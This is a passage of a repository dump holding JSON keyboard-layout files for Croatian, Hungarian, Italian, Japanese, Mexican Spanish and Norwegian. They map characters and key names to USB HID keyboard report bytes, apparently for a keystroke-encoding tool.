"KPAD_3":"00,00,5b",
"KPAD_4":"00,00,5c",
"KPAD_5":"00,00,5d",
"KPAD_6":"00,00,5e",
"KPAD_7":"00,00,5f",
"KPAD_8":"00,00,60",
"KPAD_9":"00,00,61",
"KPAD_0":"00,00,62",
"KPAD_DOT":"00,00,63",
"\\":"00,00,64",
"APP":"00,00,65",
"MENU":"00,00,65",
"CONTROL":"01,00,00",
"CTRL":"01,00,00",
"SHIFT":"02,00,00",
"A":"02,00,04",
"B":"02,00,05",
"C":"02,00,06",
"D":"02,00,07",
"E":"02,00,08",
"F":"02,00,09",
"G":"02,00,0a",
"H":"02,00,0b",
"I":"02,00,0c",
"J":"02,00,0d",
"K":"02,00,0e",
"L":"02,00,0f",
"M":"02,00,10",
"N":"02,00,11",
"O":"02,00,12",
"P":"02,00,13",
"Q":"02,00,14",
"R":"02,00,15",
"S":"02,00,16",
"T":"02,00,17",
"U":"02,00,18",
"V":"02,00,19",
"W":"02,00,1a",
"X":"02,00,1b",
"Y":"02,00,1c",
"Z":"02,00,1d",
"!":"02,00,1e",
"\"":"02,00,1f",
"£":"02,00,20",
"$":"02,00,21",
"%":"02,00,22",
"^":"02,00,23",
"&":"02,00,24",
"*":"02,00,25",
"(":"02,00,26",
")":"02,00,27",
"_":"02,00,2d",
"+":"02,00,2e",
"{":"02,00,2f",
"}":"02,00,30",
"~":"02,00,31",
":":"02,00,33",
"@":"02,00,34",
"¬":"02,00,35",
"<":"02,00,36",
">":"02,00,37",
"?":"02,00,38",
"|":"02,00,64",
"CTRL-SHIFT":"03,00,00",
"ALT":"04,00,00",
"ALT-TAB":"04,00,2b",
"CTRL-ALT":"05,00,00",
"ALT-SHIFT":"06,00,00",
"GUI":"08,00,00",
"WINDOWS":"08,00,00",
"COMMAND":"08,00,00",
"COMMAND-CTRL":"09,00,00",
"COMMAND-CTRL-SHIFT":"0b,00,00",
"COMMAND-OPTION":"0c,00,00",
"COMMAND-OPTION-SHIFT'":"0e,00,00",
"ALTGR":"40,00,00",
"ALTGR-TAB":"40,00,2b",
"¦":"40,00,35",
"CTRL-ALTGR":"41,00,00",
"ALTGR-SHIFT":"42,00,00"
}
================================================
FILE: languages/hr.json
================================================
{
"__comment":"All numbers here are in hex format and 0x is ignored.",
"__comment":" ",
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
"__comment":" of document USB HID Usage Tables Version 1.12.",
"__comment":" ",
"__comment":"Definition of these 3 bytes can be found",
"__comment":" in section B.1 Protocol 1 (Keyboard)",
"__comment":" of document Device Class Definition for HID Version 1.11",
"__comment":" - byte 1: Modifier keys",
"__comment":" - byte 2: Reserved",
"__comment":" - byte 3: Keycode 1",
"__comment":" ",
"__comment":"Both documents can be obtained from link here",
"__comment":" http://www.usb.org/developers/hidpage/",
"__comment":" ",
"__comment":"A = LeftShift + a, { = LeftShift + [",
"__comment":" ",
"a":"00,00,04",
"b":"00,00,05",
"c":"00,00,06",
"d":"00,00,07",
"e":"00,00,08",
"f":"00,00,09",
"g":"00,00,0a",
"h":"00,00,0b",
"i":"00,00,0c",
"j":"00,00,0d",
"k":"00,00,0e",
"l":"00,00,0f",
"m":"00,00,10",
"n":"00,00,11",
"o":"00,00,12",
"p":"00,00,13",
"q":"00,00,14",
"r":"00,00,15",
"s":"00,00,16",
"t":"00,00,17",
"u":"00,00,18",
"v":"00,00,19",
"w":"00,00,1a",
"x":"00,00,1b",
"z":"00,00,1c",
"y":"00,00,1d",
"1":"00,00,1e",
"2":"00,00,1f",
"3":"00,00,20",
"4":"00,00,21",
"5":"00,00,22",
"6":"00,00,23",
"7":"00,00,24",
"8":"00,00,25",
"9":"00,00,26",
"0":"00,00,27",
"ENTER":"00,00,28",
"ESC":"00,00,29",
"ESCAPE":"00,00,29",
"TAB":"00,00,2b",
" ":"00,00,2c",
"SPACE":"00,00,2c",
"'":"00,00,2d",
"+":"00,00,2e",
",":"00,00,36",
".":"00,00,37",
"-":"00,00,38",
"CAPSLOCK":"00,00,39",
"F1":"00,00,3a",
"F2":"00,00,3b",
"F3":"00,00,3c",
"F4":"00,00,3d",
"F5":"00,00,3e",
"F6":"00,00,3f",
"F7":"00,00,40",
"F8":"00,00,41",
"F9":"00,00,42",
"F10":"00,00,43",
"F11":"00,00,44",
"F12":"00,00,45",
"PRINTSCREEN":"00,00,46",
"SCROLLLOCK":"00,00,47",
"BREAK":"00,00,48",
"PAUSE":"00,00,48",
"INSERT":"00,00,49",
"HOME":"00,00,4a",
"PAGEUP":"00,00,4b",
"DEL":"00,00,4c",
"DELETE":"00,00,4c",
"END":"00,00,4d",
"PAGEDOWN":"00,00,4e",
"RIGHT":"00,00,4f",
"RIGHTARROW":"00,00,4f",
"LEFT":"00,00,50",
"LEFTARROW":"00,00,50",
"DOWN":"00,00,51",
"DOWNARROW":"00,00,51",
"UP":"00,00,52",
"UPARROW":"00,00,52",
"<":"00,00,64",
"APP":"00,00,65",
"MENU":"00,00,65",
"ALT-TAB":"00,00,71",
"CONTROL":"01,00,00",
"CTRL":"01,00,00",
"SHIFT":"02,00,00",
"A":"02,00,04",
"B":"02,00,05",
"C":"02,00,06",
"D":"02,00,07",
"E":"02,00,08",
"F":"02,00,09",
"G":"02,00,0a",
"H":"02,00,0b",
"I":"02,00,0c",
"J":"02,00,0d",
"K":"02,00,0e",
"L":"02,00,0f",
"M":"02,00,10",
"N":"02,00,11",
"O":"02,00,12",
"P":"02,00,13",
"Q":"02,00,14",
"R":"02,00,15",
"S":"02,00,16",
"T":"02,00,17",
"U":"02,00,18",
"V":"02,00,19",
"W":"02,00,1a",
"X":"02,00,1b",
"Z":"02,00,1c",
"Y":"02,00,1d",
"!":"02,00,1e",
"\"":"02,00,1f",
"#":"02,00,20",
"$":"02,00,21",
"%":"02,00,22",
"&":"02,00,23",
"/":"02,00,24",
"(":"02,00,25",
")":"02,00,26",
"=":"02,00,27",
"?":"02,00,2d",
"*":"02,00,2e",
";":"02,00,36",
":":"02,00,37",
"_":"02,00,38",
">":"02,00,64",
"CTRL-SHIFT":"03,00,00",
"ALT":"04,00,00",
"CTRL-ALT":"05,00,00",
"ALT-SHIFT":"06,00,00",
"COMMAND":"08,00,00",
"GUI":"08,00,00",
"WINDOWS":"08,00,00",
"COMMAND-OPTION":"12,00,00",
"{":"40,00,05",
"[":"40,00,09",
"]":"40,00,0a",
"}":"40,00,11",
"\\":"40,00,14",
"@":"40,00,19",
"|":"40,00,1a",
"~":"40,00,1e",
"^":"40,00,20",
"`":"40,00,24",
"COMMAND-CTRL-SHIFT":"40,00,24",
"COMMAND-CTRL":"40,00,24",
"COMMAND-OPTION-SHIFT'":"40,00,24"
}
================================================
FILE: languages/hu.json
================================================
{
"__comment":"All numbers here are in hex format and 0x is ignored.",
"__comment":" ",
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
"__comment":" of document USB HID Usage Tables Version 1.12.",
"__comment":" ",
"__comment":"Definition of these 3 bytes can be found",
"__comment":" in section B.1 Protocol 1 (Keyboard)",
"__comment":" of document Device Class Definition for HID Version 1.11",
"__comment":" - byte 1: Modifier keys",
"__comment":" - byte 2: Reserved",
"__comment":" - byte 3: Keycode 1",
"__comment":" ",
"__comment":"Both documents can be obtained from link here",
"__comment":" http://www.usb.org/developers/hidpage/",
"__comment":" ",
"__comment":" Hungarian QWERTZ language made by Skeleton022",
"__comment":" Added áéíóöőúüűÁÉÍÓÖŐÚÜŰ",
"a":"00,00,04",
"b":"00,00,05",
"c":"00,00,06",
"d":"00,00,07",
"e":"00,00,08",
"f":"00,00,09",
"g":"00,00,0a",
"h":"00,00,0b",
"i":"00,00,0c",
"j":"00,00,0d",
"k":"00,00,0e",
"l":"00,00,0f",
"m":"00,00,10",
"n":"00,00,11",
"o":"00,00,12",
"p":"00,00,13",
"q":"00,00,14",
"r":"00,00,15",
"s":"00,00,16",
"t":"00,00,17",
"u":"00,00,18",
"v":"00,00,19",
"w":"00,00,1a",
"x":"00,00,1b",
"z":"00,00,1c",
"y":"00,00,1d",
"1":"00,00,1e",
"2":"00,00,1f",
"3":"00,00,20",
"4":"00,00,21",
"5":"00,00,22",
"6":"00,00,23",
"7":"00,00,24",
"8":"00,00,25",
"9":"00,00,26",
"ö":"00,00,27",
"ENTER":"00,00,28",
"ESC":"00,00,29",
"ESCAPE":"00,00,29",
"TAB":"00,00,2b",
" ":"00,00,2c",
"SPACE":"00,00,2c",
"ü":"00,00,2d",
"ó":"00,00,2e",
"ő":"00,00,2f",
"ú":"00,00,30",
"ű":"00,00,31",
"é":"00,00,33",
"á":"00,00,34",
"0":"00,00,35",
",":"00,00,36",
".":"00,00,37",
"-":"00,00,38",
"CAPSLOCK":"00,00,39",
"F1":"00,00,3a",
"F2":"00,00,3b",
"F3":"00,00,3c",
"F4":"00,00,3d",
"F5":"00,00,3e",
"F6":"00,00,3f",
"F7":"00,00,40",
"F8":"00,00,41",
"F9":"00,00,42",
"F10":"00,00,43",
"F11":"00,00,44",
"F12":"00,00,45",
"PRINTSCREEN":"00,00,46",
"SCROLLLOCK":"00,00,47",
"BREAK":"00,00,48",
"PAUSE":"00,00,48",
"INSERT":"00,00,49",
"HOME":"00,00,4a",
"PAGEUP":"00,00,4b",
"DEL":"00,00,4c",
"DELETE":"00,00,4c",
"END":"00,00,4d",
"PAGEDOWN":"00,00,4e",
"RIGHT":"00,00,4f",
"RIGHTARROW":"00,00,4f",
"LEFT":"00,00,50",
"LEFTARROW":"00,00,50",
"DOWN":"00,00,51",
"DOWNARROW":"00,00,51",
"UP":"00,00,52",
"UPARROW":"00,00,52",
"í":"00,00,64",
"APP":"00,00,65",
"MENU":"00,00,65",
"ALT-TAB":"00,00,71",
"CONTROL":"01,00,00",
"CTRL":"01,00,00",
"SHIFT":"02,00,00",
"A":"02,00,04",
"B":"02,00,05",
"C":"02,00,06",
"D":"02,00,07",
"E":"02,00,08",
"F":"02,00,09",
"G":"02,00,0a",
"H":"02,00,0b",
"I":"02,00,0c",
"J":"02,00,0d",
"K":"02,00,0e",
"L":"02,00,0f",
"M":"02,00,10",
"N":"02,00,11",
"O":"02,00,12",
"P":"02,00,13",
"Q":"02,00,14",
"R":"02,00,15",
"S":"02,00,16",
"T":"02,00,17",
"U":"02,00,18",
"V":"02,00,19",
"W":"02,00,1a",
"X":"02,00,1b",
"Z":"02,00,1c",
"Y":"02,00,1d",
"'":"02,00,1e",
"\"":"02,00,1f",
"+":"02,00,20",
"!":"02,00,21",
"%":"02,00,22",
"/":"02,00,23",
"=":"02,00,24",
"(":"02,00,25",
")":"02,00,26",
"Ö":"02,00,27",
"Ü":"02,00,2d",
"Ó":"02,00,2e",
"Ő":"02,00,2f",
"Ú":"02,00,30",
"Ű":"02,00,31",
"É":"02,00,33",
"Á":"02,00,34",
"?":"02,00,36",
":":"02,00,37",
"_":"02,00,38",
"Í":"02,00,64",
"CTRL-SHIFT":"03,00,00",
"ALT":"04,00,00",
"CTRL-ALT":"05,00,00",
"ALT-SHIFT":"06,00,00",
"COMMAND":"08,00,00",
"GUI":"08,00,00",
"WINDOWS":"08,00,00",
"COMMAND-OPTION":"12,00,00",
"COMMAND-CTRL-SHIFT":"12,00,00",
"COMMAND-CTRL":"12,00,00",
"COMMAND-OPTION-SHIFT'":"12,00,00",
"{":"40,00,05",
"&":"40,00,06",
"[":"40,00,09",
"]":"40,00,0a",
"}":"40,00,11",
"\\":"40,00,14",
"@":"40,00,19",
"|":"40,00,1a",
"#":"40,00,1b",
">":"40,00,1d",
"~":"40,00,1e",
"^":"40,00,20",
"`":"40,00,24",
"$":"40,00,33",
";":"40,00,36",
"*":"40,00,38",
"<":"40,00,64"
}
================================================
FILE: languages/it.json
================================================
{
"__comment":"All numbers here are in hex format and 0x is ignored.",
"__comment":" ",
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
"__comment":" of document USB HID Usage Tables Version 1.12.",
"__comment":" ",
"__comment":"Definition of these 3 bytes can be found",
"__comment":" in section B.1 Protocol 1 (Keyboard)",
"__comment":" of document Device Class Definition for HID Version 1.11",
"__comment":" - byte 1: Modifier keys",
"__comment":" - byte 2: Reserved",
"__comment":" - byte 3: Keycode 1",
"__comment":" ",
"__comment":"Both documents can be obtained from link here",
"__comment":" http://www.usb.org/developers/hidpage/",
"__comment":" ",
"__comment":"A = LeftShift + a, { = LeftShift + [",
"__comment":" ",
"a":"00,00,04",
"b":"00,00,05",
"c":"00,00,06",
"d":"00,00,07",
"e":"00,00,08",
"f":"00,00,09",
"g":"00,00,0a",
"h":"00,00,0b",
"i":"00,00,0c",
"j":"00,00,0d",
"k":"00,00,0e",
"l":"00,00,0f",
"m":"00,00,10",
"n":"00,00,11",
"o":"00,00,12",
"p":"00,00,13",
"q":"00,00,14",
"r":"00,00,15",
"s":"00,00,16",
"t":"00,00,17",
"u":"00,00,18",
"v":"00,00,19",
"w":"00,00,1a",
"x":"00,00,1b",
"y":"00,00,1c",
"z":"00,00,1d",
"1":"00,00,1e",
"2":"00,00,1f",
"3":"00,00,20",
"4":"00,00,21",
"5":"00,00,22",
"6":"00,00,23",
"7":"00,00,24",
"8":"00,00,25",
"9":"00,00,26",
"0":"00,00,27",
"ENTER":"00,00,28",
"ESC":"00,00,29",
"ESCAPE":"00,00,29",
"TAB":"00,00,2b",
" ":"00,00,2c",
"SPACE":"00,00,2c",
"'":"00,00,2d",
"+":"00,00,30",
"\\":"00,00,35",
"`":"00,00,35",
",":"00,00,36",
".":"00,00,37",
"-":"00,00,38",
"CAPSLOCK":"00,00,39",
"F1":"00,00,3a",
"F2":"00,00,3b",
"F3":"00,00,3c",
"F4":"00,00,3d",
"F5":"00,00,3e",
"F6":"00,00,3f",
"F7":"00,00,40",
"F8":"00,00,41",
"F9":"00,00,42",
"F10":"00,00,43",
"F11":"00,00,44",
"F12":"00,00,45",
"PRINTSCREEN":"00,00,46",
"SCROLLLOCK":"00,00,47",
"BREAK":"00,00,48",
"PAUSE":"00,00,48",
"INSERT":"00,00,49",
"HOME":"00,00,4a",
"PAGEUP":"00,00,4b",
"DEL":"00,00,4c",
"DELETE":"00,00,4c",
"END":"00,00,4d",
"PAGEDOWN":"00,00,4e",
"RIGHT":"00,00,4f",
"RIGHTARROW":"00,00,4f",
"LEFT":"00,00,50",
"LEFTARROW":"00,00,50",
"DOWN":"00,00,51",
"DOWNARROW":"00,00,51",
"UP":"00,00,52",
"UPARROW":"00,00,52",
"<":"00,00,64",
"APP":"00,00,65",
"MENU":"00,00,65",
"ALT-TAB":"00,00,71",
"CONTROL":"01,00,00",
"CTRL":"01,00,00",
"SHIFT":"02,00,00",
"A":"02,00,04",
"B":"02,00,05",
"C":"02,00,06",
"D":"02,00,07",
"E":"02,00,08",
"F":"02,00,09",
"G":"02,00,0a",
"H":"02,00,0b",
"I":"02,00,0c",
"J":"02,00,0d",
"K":"02,00,0e",
"L":"02,00,0f",
"M":"02,00,10",
"N":"02,00,11",
"O":"02,00,12",
"P":"02,00,13",
"Q":"02,00,14",
"R":"02,00,15",
"S":"02,00,16",
"T":"02,00,17",
"U":"02,00,18",
"V":"02,00,19",
"W":"02,00,1a",
"X":"02,00,1b",
"Y":"02,00,1c",
"Z":"02,00,1d",
"!":"02,00,1e",
"\"":"02,00,1f",
"$":"02,00,21",
"%":"02,00,22",
"&":"02,00,23",
"/":"02,00,24",
"(":"02,00,25",
")":"02,00,26",
"=":"02,00,27",
"?":"02,00,2d",
"^":"02,00,2e",
"*":"02,00,30",
"|":"02,00,35",
";":"02,00,36",
":":"02,00,37",
"_":"02,00,38",
">":"02,00,64",
"CTRL-SHIFT":"03,00,00",
"ALT":"04,00,00",
"CTRL-ALT":"05,00,00",
"ALT-SHIFT":"06,00,00",
"COMMAND":"08,00,00",
"GUI":"08,00,00",
"WINDOWS":"08,00,00",
"COMMAND-OPTION":"12,00,00",
"[":"40,00,2f",
"]":"40,00,30",
"@":"40,00,33",
"#":"40,00,34",
"~":"40,00,34",
"{":"42,00,2f",
"}":"42,00,30",
"COMMAND-CTRL-SHIFT":"40,00,30",
"COMMAND-CTRL":"40,00,30",
"COMMAND-OPTION-SHIFT'":"40,00,30"
}
================================================
FILE: languages/jp.json
================================================
{
"__comment": "All numbers here are in hex format and 0x is ignored.",
"__comment": " ",
"__comment": "This list is in ascending order of 3rd byte (HID Usage ID).",
"__comment": " See section 10 Keyboard/Keypad Page (0x07)",
"__comment": " of document USB HID Usage Tables Version 1.12.",
"__comment": " ",
"__comment": "Definition of these 3 bytes can be found",
"__comment": " in section B.1 Protocol 1 (Keyboard)",
"__comment": " of document Device Class Definition for HID Version 1.11",
"__comment": " - byte 1: Modifier keys",
"__comment": " - byte 2: Reserved",
"__comment": " - byte 3: Keycode 1",
"__comment": " ",
"__comment": "Both documents can be obtained from link here",
"__comment": " http://www.usb.org/developers/hidpage/",
"__comment": " ",
"__comment": "A = LeftShift + a, { = LeftShift + [",
"__comment": " ",
"CTRL": "01,00,00",
"CONTROL": "01,00,00",
"SHIFT": "02,00,00",
"ALT": "04,00,00",
"GUI": "08,00,00",
"WINDOWS": "08,00,00",
"CTRL-ALT": "05,00,00",
"CTRL-SHIFT": "03,00,00",
"ALT-SHIFT": "06,00,00",
"__comment": "Below 5 key combinations are for Mac OSX",
"__comment": "Example: (COMMAND-OPTION SHIFT t) to open terminal",
"COMMAND": "08,00,00",
"COMMAND-CTRL": "09,00,00",
"COMMAND-CTRL-SHIFT": "0B,00,00",
"COMMAND-OPTION": "0C,00,00",
"COMMAND-OPTION-SHIFT": "0E,00,00",
"a": "00,00,04",
"A": "02,00,04",
"b": "00,00,05",
"B": "02,00,05",
"c": "00,00,06",
"C": "02,00,06",
"d": "00,00,07",
"D": "02,00,07",
"e": "00,00,08",
"E": "02,00,08",
"f": "00,00,09",
"F": "02,00,09",
"g": "00,00,0a",
"G": "02,00,0a",
"h": "00,00,0b",
"H": "02,00,0b",
"i": "00,00,0c",
"I": "02,00,0c",
"j": "00,00,0d",
"J": "02,00,0d",
"k": "00,00,0e",
"K": "02,00,0e",
"l": "00,00,0f",
"L": "02,00,0f",
"m": "00,00,10",
"M": "02,00,10",
"n": "00,00,11",
"N": "02,00,11",
"o": "00,00,12",
"O": "02,00,12",
"p": "00,00,13",
"P": "02,00,13",
"q": "00,00,14",
"Q": "02,00,14",
"r": "00,00,15",
"R": "02,00,15",
"s": "00,00,16",
"S": "02,00,16",
"t": "00,00,17",
"T": "02,00,17",
"u": "00,00,18",
"U": "02,00,18",
"v": "00,00,19",
"V": "02,00,19",
"w": "00,00,1a",
"W": "02,00,1a",
"x": "00,00,1b",
"X": "02,00,1b",
"y": "00,00,1c",
"Y": "02,00,1c",
"z": "00,00,1d",
"Z": "02,00,1d",
"1": "00,00,1e",
"!": "02,00,1e",
"2": "00,00,1f",
"\"": "02,00,1f",
"3": "00,00,20",
"#": "02,00,20",
"4": "00,00,21",
"$": "02,00,21",
"5": "00,00,22",
"%": "02,00,22",
"6": "00,00,23",
"&": "02,00,23",
"7": "00,00,24",
"'": "02,00,24",
"8": "00,00,25",
"(": "02,00,25",
"9": "00,00,26",
")": "02,00,26",
"0": "00,00,27",
"ENTER": "00,00,28",
"ESC": "00,00,29",
"ESCAPE": "00,00,29",
"BACKSPACE": "00,00,2a",
"TAB": "00,00,2b",
"ALT-TAB": "04,00,2b",
"SPACE": "00,00,2c",
" ": "00,00,2c",
"-": "00,00,2d",
"=": "02,00,2d",
"^": "00,00,2e",
"~": "02,00,2e",
"@": "00,00,2f",
"`": "02,00,2f",
"[": "00,00,30",
"{": "02,00,30",
"\\": "00,00,31",
"|": "02,00,31",
"]": "00,00,32",
"}": "02,00,32",
";": "00,00,33",
"+": "02,00,33",
":": "00,00,34",
"*": "02,00,34",
",": "00,00,36",
"<": "02,00,36",
".": "00,00,37",
">": "02,00,37",
"/": "00,00,38",
"?": "02,00,38",
"CAPSLOCK": "00,00,39",
"F1": "00,00,3a",
"F2": "00,00,3b",
"F3": "00,00,3c",
"F4": "00,00,3d",
"F5": "00,00,3e",
"F6": "00,00,3f",
"F7": "00,00,40",
"F8": "00,00,41",
"F9": "00,00,42",
"F10": "00,00,43",
"F11": "00,00,44",
"F12": "00,00,45",
"PRINTSCREEN":"00,00,46",
"SCROLLLOCK": "00,00,47",
"PAUSE": "00,00,48",
"BREAK": "00,00,48",
"INSERT": "00,00,49",
"HOME": "00,00,4a",
"PAGEUP": "00,00,4b",
"DELETE": "00,00,4c",
"DEL": "00,00,4c",
"END": "00,00,4d",
"PAGEDOWN": "00,00,4e",
"RIGHTARROW": "00,00,4f",
"RIGHT": "00,00,4f",
"LEFTARROW": "00,00,50",
"LEFT": "00,00,50",
"DOWNARROW": "00,00,51",
"DOWN": "00,00,51",
"UPARROW": "00,00,52",
"UP": "00,00,52",
"NUMLOCK": "00,00,53",
"MENU": "00,00,65",
"APP": "00,00,65"
}
================================================
FILE: languages/mx.json
================================================
{
"__comment":"All numbers here are in hex format and 0x is ignored.",
"__comment":" ",
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
"__comment":" of document USB HID Usage Tables Version 1.12.",
"__comment":" ",
"__comment":"Definition of these 3 bytes can be found",
"__comment":" in section B.1 Protocol 1 (Keyboard)",
"__comment":" of document Device Class Definition for HID Version 1.11",
"__comment":" - byte 1: Modifier keys",
"__comment":" - byte 2: Reserved",
"__comment":" - byte 3: Keycode 1",
"__comment":" ",
"__comment":"Both documents can be obtained from link here",
"__comment":" http://www.usb.org/developers/hidpage/",
"__comment":" ",
"__comment":"A = LeftShift + a, { = LeftShift + [",
"__comment":" ",
"a":"00,00,04",
"b":"00,00,05",
"c":"00,00,06",
"d":"00,00,07",
"e":"00,00,08",
"f":"00,00,09",
"g":"00,00,0a",
"h":"00,00,0b",
"i":"00,00,0c",
"j":"00,00,0d",
"k":"00,00,0e",
"l":"00,00,0f",
"m":"00,00,10",
"n":"00,00,11",
"o":"00,00,12",
"p":"00,00,13",
"q":"00,00,14",
"r":"00,00,15",
"s":"00,00,16",
"t":"00,00,17",
"u":"00,00,18",
"v":"00,00,19",
"w":"00,00,1a",
"x":"00,00,1b",
"y":"00,00,1c",
"z":"00,00,1d",
"1":"00,00,1e",
"2":"00,00,1f",
"3":"00,00,20",
"4":"00,00,21",
"5":"00,00,22",
"6":"00,00,23",
"7":"00,00,24",
"8":"00,00,25",
"9":"00,00,26",
"0":"00,00,27",
"ENTER":"00,00,28",
"ESC":"00,00,29",
"ESCAPE":"00,00,29",
"TAB":"00,00,2b",
" ":"00,00,2c",
"SPACE":"00,00,2c",
"'":"00,00,2d",
"¿":"00,00,2e",
"´":"00,00,2f",
"+":"00,00,30",
"}":"00,00,31",
"ñ":"00,00,33",
"{":"00,00,34",
"|":"00,00,35",
",":"00,00,36",
".":"00,00,37",
"-":"00,00,38",
"CAPSLOCK":"00,00,39",
"F1":"00,00,3a",
"F2":"00,00,3b",
"F3":"00,00,3c",
"F4":"00,00,3d",
"F5":"00,00,3e",
"F6":"00,00,3f",
"F7":"00,00,40",
"F8":"00,00,41",
"F9":"00,00,42",
"F10":"00,00,43",
"F11":"00,00,44",
"F12":"00,00,45",
"PRINTSCREEN":"00,00,46",
"SCROLLLOCK":"00,00,47",
"BREAK":"00,00,48",
"PAUSE":"00,00,48",
"INSERT":"00,00,49",
"HOME":"00,00,4a",
"PAGEUP":"00,00,4b",
"DEL":"00,00,4c",
"DELETE":"00,00,4c",
"END":"00,00,4d",
"PAGEDOWN":"00,00,4e",
"RIGHT":"00,00,4f",
"RIGHTARROW":"00,00,4f",
"LEFT":"00,00,50",
"LEFTARROW":"00,00,50",
"DOWN":"00,00,51",
"DOWNARROW":"00,00,51",
"UP":"00,00,52",
"UPARROW":"00,00,52",
"<":"00,00,64",
"APP":"00,00,65",
"MENU":"00,00,65",
"ALT-TAB":"00,00,71",
"CONTROL":"01,00,00",
"CTRL":"01,00,00",
"SHIFT":"02,00,00",
"A":"02,00,04",
"B":"02,00,05",
"C":"02,00,06",
"D":"02,00,07",
"E":"02,00,08",
"F":"02,00,09",
"G":"02,00,0a",
"H":"02,00,0b",
"I":"02,00,0c",
"J":"02,00,0d",
"K":"02,00,0e",
"L":"02,00,0f",
"M":"02,00,10",
"N":"02,00,11",
"O":"02,00,12",
"P":"02,00,13",
"Q":"02,00,14",
"R":"02,00,15",
"S":"02,00,16",
"T":"02,00,17",
"U":"02,00,18",
"V":"02,00,19",
"W":"02,00,1a",
"X":"02,00,1b",
"Y":"02,00,1c",
"Z":"02,00,1d",
"!":"02,00,1e",
"\"":"02,00,1f",
"#":"02,00,20",
"$":"02,00,21",
"%":"02,00,22",
"&":"02,00,23",
"/":"02,00,24",
"(":"02,00,25",
")":"02,00,26",
"=":"02,00,27",
"?":"02,00,2d",
"¡":"02,00,2e",
"¨":"02,00,2f",
"*":"02,00,30",
"]":"02,00,31",
"Ñ":"02,00,33",
"[":"02,00,34",
"°":"02,00,35",
";":"02,00,36",
":":"02,00,37",
"_":"02,00,38",
">":"02,00,64",
"CTRL-SHIFT":"03,00,00",
"ALT":"04,00,00",
"CTRL-ALT":"05,00,00",
"\\":"05,00,2d",
"~":"05,00,30",
"`":"05,00,31",
"^":"05,00,34",
"¬":"05,00,35",
"ALT-SHIFT":"06,00,00",
"COMMAND":"08,00,00",
"GUI":"08,00,00",
"WINDOWS":"08,00,00",
"COMMAND-OPTION":"12,00,00",
"COMMAND-CTRL-SHIFT":"12,00,00",
"COMMAND-CTRL":"12,00,00",
"COMMAND-OPTION-SHIFT":"12,00,00",
"@":"40,00,14"
}
================================================
FILE: languages/no.json
================================================
{
"__comment":"All numbers here are in hex format and 0x is ignored.",
"__comment":" ",
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
"__comment":" of document USB HID Usage Tables Version 1.12.",
"__comment":" ",
"__comment":"Definition of these 3 bytes can be found",
"__comment":" in section B.1 Protocol 1 (Keyboard)",
"__comment":" of document Device Class Definition for HID Version 1.11",
"__comment":" - byte 1: Modifier keys",
"__comment":" - byte 2: Reserved",
"__comment":" - byte 3: Keycode 1",
"__comment":" ",
"__comment":"Both documents can be obtained from link here",
"__comment":" http://www.usb.org/developers/hidpage/",
"__comment":" ",
"__comment":"A = LeftShift + a, { = LeftShift + [",
"__comment":" ",
"a":"00,00,04",
"b":"00,00,05",
"c":"00,00,06",
"d":"00,00,07",
"e":"00,00,08",
"f":"00,00,09",
"g":"00,00,0a",
"h":"00,00,0b",
"i":"00,00,0c",
"j":"00,00,0d",
"k":"00,00,0e",
"l":"00,00,0f",
"m":"00,00,10",
"n":"00,00,11",
"o":"00,00,12",
"p":"00,00,13",
"q":"00,00,14",
"r":"00,00,15",
"s":"00,00,16",
"t":"00,00,17",
"u":"00,00,18",
"v":"00,00,19",
"w":"00,00,1a",
"x":"00,00,1b",
"y":"00,00,1c",
"z":"00,00,1d",
"1":"00,00,1e",
"2":"00,00,1f",
"3":"00,00,20",
"4":"00,00,21",
"5":"00,00,22",
"6":"00,00,23",
"7":"00,00,24",
"8":"00,00,25",
"9":"00,00,26",
"0":"00,00,27",
"ENTER":"00,00,28",
"ESC":"00,00,29",
"ESCAPE":"00,00,29",
"TAB":"00,00,2b",
" ":"00,00,2c",
"SPACE":"00,00,2c",
"+":"00,00,2d",
"\\":"00,00,2e",
"'":"00,00,31",
"|":"00,00,35",
",":"00,00,36",
".":"00,00,37",
"-":"00,00,38",
"CAPSLOCK":"00,00,39",
"F1":"00,00,3a",
"F2":"00,00,3b",
"F3":"00,00,3c",
"F4":"00,00,3d",
"F5":"00,00,3e",
"F6":"00,00,3f",
"F7":"00,00,40",
"F8":"00,00,41",
"F9":"00,00,42",
"F10":"00,00,43",
"F11":"00,00,44",
"F12":"00,00,45",
"PRINTSCREEN":"00,00,46",
"SCROLLLOCK":"00,00,47",
"BREAK":"00,00,48",
"PAUSE":"00,00,48",
"INSERT":"00,00,49",
"HOME":"00,00,4a",
"PAGEUP":"00,00,4b",
"DEL":"00,00,4c",
"DELETE":"00,00,4c",
"END":"00,00,4d",
"PAGEDOWN":"00,00,4e",
"RIGHT":"00,00,4f",
"RIGHTARROW":"00,00,4f",
"LEFT":"00,00,50",
"LEFTARROW":"00,00,50",
"DOWN":"00,00,51",
"DOWNARROW":"00,00,51",
"UP":"00,00,52",
"UPARROW":"00,00,52",
"<":"00,00,64",
"APP":"00,00,65",
"MENU":"00,00,65",
"ALT-TAB":"00,00,71",
"CONTROL":"01,00,00",
"CTRL":"01,00,00",
"SHIFT":"02,00,00",
"A":"02,00,04",
"B":"02,00,05",
"C":"02,00,06",
"D":"02,00,07",
"E":"02,00,08",
"F":"02,00,09",
"G":"02,00,0a",
"H":"02,00,0b",
"I":"02,00,0c",
"J":"02,00,0d",
"K":"02,00,0e",
"L":"02,00,0f",
"M":"02,00,10",
"N":"02,00,11",
"O":"02,00,12",
"P":"02,00,13",
"Q":"02,00,14",
"R":"02,00,15",
"S":"02,00,16",
"T":"02,00,17",
"U":"02,00,18",
"V":"02,00,19",
"W":"02,00,1a",
"X":"02,00,1b",
"Y":"02,00,1c",
"Z":"02,00,1d",
"!":"02,00,1e",
"\"":"02,00,1f",
"#":"02,00,20",
"%":"02,00,22",
"&":"02,00,23",
"/":"02,00,24",
"(":"02,00,25",
")":"02,00,26",
"=":"02,00,27",
"?":"02,00,2d",
"`":"02,00,2e",
"^":"02,00,30",
"*":"02,00,31",
";":"02,00,36",
":":"02,00,37",
